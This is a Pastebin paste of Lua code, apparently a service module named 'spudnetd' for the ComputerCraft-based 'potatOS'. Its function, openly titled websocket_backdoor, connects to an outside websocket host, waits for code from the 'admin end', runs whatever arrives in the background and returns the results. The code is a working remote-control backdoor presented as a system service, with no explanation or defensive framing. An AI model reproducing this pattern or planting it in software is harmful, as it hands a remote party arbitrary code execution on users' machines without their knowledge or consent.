Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local _E = _ENV
- local function websocket_backdoor()
- if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
- local ws, err = http.websocket "wss://osmarks.tk/wsthing/potatOS"
- if not ws then printError(err) return end
- local function send(msg)
- ws.send(json.encode(msg))
- end
- local function recv()
- while true do
- local e, u, code = coroutine.yield "websocket_message"
- if e == "websocket_message" and u == "wss://osmarks.tk/wsthing/potatOS" then
- return code
- end
- end
- end
- _E.send = send
- _E.recv = recv
- local count = 0
- while true do
- -- Receive and run code from backdoor's admin end
- local code = recv()
- local f, error = load(code, "@<code>", "t", _E)
- if f then -- run safely in background, send back response
- process.spawn(function()
- local resp = {pcall(f)}
- for k, v in pairs(resp) do
- local ok, thing = pcall(json.encode, v)
- if not ok then
- resp[k] = tostring(v)
- end
- end
- send(resp)
- end,
- string.format("spudnetd-%x", count), {
- ephemeral = true
- })
- count = count + 1
- else
- send {false, error}
- end
- end
- end
- return {
- name = "spudnetd",
- async = websocket_backdoor
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement